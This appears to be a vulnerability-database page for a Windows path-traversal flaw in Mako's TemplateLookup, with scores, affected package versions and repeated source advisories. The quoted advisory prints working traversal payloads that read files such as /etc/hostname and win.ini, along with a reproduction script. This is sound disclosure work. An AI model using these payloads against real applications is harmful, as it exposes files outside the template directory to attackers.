Every CVE Search/ Get API key

CVE-2026-102991

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

6.5 MediumFix available

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.36%Down 0.1 points since Oct 1, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.5

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
CVE-2026-102991
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-90363 6.5

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
EUVD-2026-90363
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5639-2j2p-m4mx 6.5

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

# mako/lookup.py -- resolution
247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always
248:  if os.path.isfile(srcfile):                             # ntpath on Windows

# mako/template.py -- confinement
268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows
269:  if u_norm.startswith(".."):                             # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

| URI | ntpath.normpath (what the guard sees) | guard fires | |---|---|---| | //../secret.txt | ..\secret.txt | yes | | \..\secret.txt | ..\secret.txt | yes | | C:/../../secret.txt | C:\secret.txt | no |

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini'          -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)
'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

  • mako/template.py: Template.__init__() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied.
  • mako/lookup.py: TemplateLookup.get_template() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):

import os, ntpath
os.path = ntpath

from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html",
            "//../../secret.txt",
            "\\..\\..\\secret.txt",
            "../../secret.txt",
            "C:/../../../secret.txt",
            "C:\\..\\..\\..\\secret.txt",
            "d:/../../../secret.txt"]:
    try:
        t = lookup.get_template(uri)
        print(repr(uri), "-> filename=", t.filename, repr(t.render()))
    except Exception as e:
        print(repr(uri), "-> REFUSED", type(e).__name__)

Against 1.4.1, with a sentinel file…

Record
GHSA-5639-2j2p-m4mx
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 6.5

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
CVE-2026-102991
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVBELL-CVE-2026-102991 6.5

CVE-2026-102991 does not affect BellSoft software

Record
BELL-CVE-2026-102991
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
OSV 6.5

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
CVE-2026-102991
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
Show 4 moreShow less
OSVGHSA-5639-2j2p-m4mx 6.5

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

# mako/lookup.py -- resolution
247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always
248:  if os.path.isfile(srcfile):                             # ntpath on Windows

# mako/template.py -- confinement
268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows
269:  if u_norm.startswith(".."):                             # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

| URI | ntpath.normpath (what the guard sees) | guard fires | |---|---|---| | //../secret.txt | ..\secret.txt | yes | | \..\secret.txt | ..\secret.txt | yes | | C:/../../secret.txt | C:\secret.txt | no |

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini'          -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)
'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

  • mako/template.py: Template.__init__() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied.
  • mako/lookup.py: TemplateLookup.get_template() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):

import os, ntpath
os.path = ntpath

from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html",
            "//../../secret.txt",
            "\\..\\..\\secret.txt",
            "../../secret.txt",
            "C:/../../../secret.txt",
            "C:\\..\\..\\..\\secret.txt",
            "d:/../../../secret.txt"]:
    try:
        t = lookup.get_template(uri)
        print(repr(uri), "-> filename=", t.filename, repr(t.render()))
    except Exception as e:
        print(repr(uri), "-> REFUSED", type(e).__name__)

Against 1.4.1, with a sentinel file…

Record
GHSA-5639-2j2p-m4mx
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-4243 6.5

Mako: Path traversal via drive-letter URI on Windows in TemplateLookup

Summary

On Windows, a TemplateLookup URI beginning with a drive designator (e.g. C:/../../secret.txt or C:\..\..\secret.txt) bypasses the directory traversal check in Template.__init__, allowing reads of files outside the configured template directory.

This is a third, independent instance of the root cause behind CVE-2026-41205 (the // prefix) and CVE-2026-44307 (the backslash form). Both of those fixes normalized a separator spelling. Neither addressed the other way posixpath and ntpath disagree: the drive designator. Both prior fixes remain effective on their own terms; this variant survives them for an independent reason.

Details

The root cause is the same posixpath / os.path mismatch: resolution is done with posixpath, confinement is checked with os.path, which is ntpath on Windows.

# mako/lookup.py -- resolution
247:  srcfile = posixpath.normpath(posixpath.join(dir_, u))   # posixpath, always
248:  if os.path.isfile(srcfile):                             # ntpath on Windows

# mako/template.py -- confinement
268:  u_norm = os.path.normpath(u_norm)                       # ntpath on Windows
269:  if u_norm.startswith(".."):                             # never true for a drive URI

posixpath has no concept of a drive, so it treats C: as an ordinary path component; the .. segments pop C: and then escape the template root. ntpath, by contrast, splits the drive off and treats the remainder as rooted, discarding the .. entirely -- so the guard on line 269 inspects a string from which the evidence has already been removed:

| URI | ntpath.normpath (what the guard sees) | guard fires | |---|---|---| | //../secret.txt | ..\secret.txt | yes | | \..\secret.txt | ..\secret.txt | yes | | C:/../../secret.txt | C:\secret.txt | no |

Because the guard cannot fire for any URI beginning with a single-letter drive designator, the traversal is unconstrained, and its depth does not have to be guessed. posixpath.normpath() saturates excess .. segments at the root rather than erroring, so a URI carrying more .. than the template root is deep reaches the volume root and descends from there. A single fixed payload therefore works regardless of where the template directory sits:

template root = <base>/srv/app/templates

'C:/../../../../boot.ini'          -> reads <base>/boot.ini
'C:/' + '../'*40 + 'etc/hostname'  -> reads /etc/hostname   (no depth guess)
'C:/../../../../../etc/hostname'   -> TopLevelLookupException (wrong depth)

On Windows the equivalent is C:/../../../../../../../../Windows/win.ini, which reads that file for any template root depth. Only a target addressed relative to the template root needs the .. count to be exact; anything reachable from the volume root does not.

Affected code

  • mako/template.py: Template.__init__() URI validation uses os.path.normpath(), which on Windows strips the drive and discards the .. segments before the startswith("..") guard is applied.
  • mako/lookup.py: TemplateLookup.get_template() resolves with posixpath.normpath/posixpath.join, where C: is an ordinary component, then performs the existence check with os.path.isfile().

Reproduction

Windows is emulated with the technique already used by the project's own test suite (test/test_template.py:1398-1401):

import os, ntpath
os.path = ntpath

from mako.lookup import TemplateLookup
lookup = TemplateLookup(directories=["root/tpl"])

for uri in ["ok.html",
            "//../../secret.txt",
            "\\..\\..\\secret.txt",
            "../../secret.txt",
            "C:/../../../secret.txt",
            "C:\\..\\..\\..\\secret.txt",
            "d:/../../../secret.txt"]:
    try:
        t = lookup.get_template(uri)
        print(repr(uri), "-> filename=", t.filename, repr(t.render()))
    except Exception as e:
        print(repr(uri), "-> REFUSED", type(e).__name__)

Against 1.4.1, with a sentinel file…

Record
PYSEC-2026-4243
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
OSVUBUNTU-CVE-2026-102991 6.5

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
UBUNTU-CVE-2026-102991
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
OSVAZL-105645 No score

CVE-2026-102991 affecting package python-mako 1.2.4-3

Mako is a template library written in Python. Prior to 1.4.2, on Windows, TemplateLookup.get_template() in mako/lookup.py resolves template URIs with posixpath, while Template.init() in mako/template.py validates them with os.path, which uses ntpath. A URI beginning with a drive designator causes ntpath to absorb the traversal segments before the leading dot-dot check, while posixpath resolution can escape the configured template directory. An application that passes attacker-controlled template names or include paths can disclose process-readable files on the same volume, and a targeted file containing Mako template syntax may also be parsed and executed as a template. Raw URL paths are generally normalized before reaching this form, but query strings, form or JSON bodies, route parameters, and dynamic include expressions can preserve it. This issue is fixed in version 1.4.2.

Record
AZL-105645
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
mako
PyPI
through 1.4.1
1.4.2
python-mako
Azure Linux:3
through 1.2.4-3 None known
mako
PyPI
before 1.4.2, plus listed versions
0.1.00.1.10.1.100.1.20.1.3
Show 45 moreShow less
0.1.40.1.50.1.60.1.70.1.80.1.90.2.00.2.10.2.20.2.30.2.40.2.50.3.00.3.10.3.20.3.30.3.40.3.50.3.60.4.00.4.10.4.20.5.00.6.00.6.10.6.20.7.00.7.10.7.20.7.30.8.00.8.10.9.00.9.11.0.01.0.11.0.101.0.111.0.121.0.131.0.141.0.21.0.31.0.41.0.5
1.4.2
mako
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
1.0.2+ds1-11.0.3+ds1-11.0.3+ds1-1ubuntu11.0.3+ds1-1ubuntu1+esm11.0.3+ds1-1ubuntu1+esm2
None known
mako
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
1.0.7+ds1-11.0.7+ds1-1ubuntu0.21.0.7+ds1-1ubuntu0.2+esm1
None known
mako
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
1.0.7+ds1-11.1.0+ds1-11.1.0+ds1-1ubuntu11.1.0+ds1-1ubuntu21.1.0+ds1-1ubuntu2.11.1.0+ds1-1ubuntu2.1+esm1
None known
mako
Ubuntu:22.04:LTS
All versions, plus listed versions
1.1.3+ds1-21.1.3+ds1-2ubuntu0.11.1.3+ds1-2ubuntu0.2
None known
mako
Ubuntu:24.04:LTS
All versions, plus listed versions
1.2.4+ds-21.3.1-11.3.2-11.3.2-1ubuntu0.1
None known
mako
Ubuntu:26.10
All versions, plus listed versions
1.3.10-3build11.3.10-3ubuntu0.1
None known
mako
Ubuntu:26.04:LTS
All versions, plus listed versions
1.3.9-11.3.10-31.3.10-3build11.3.10-3ubuntu0.1
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-102991 is a medium vulnerability (CVSS 6.5) in Sqlalchemy Mako, published September 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 29th percentile. Fixed in mako 1.4.2.

References

Show 6 moreShow less
This page doesn't list everything

Left out here: 31 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open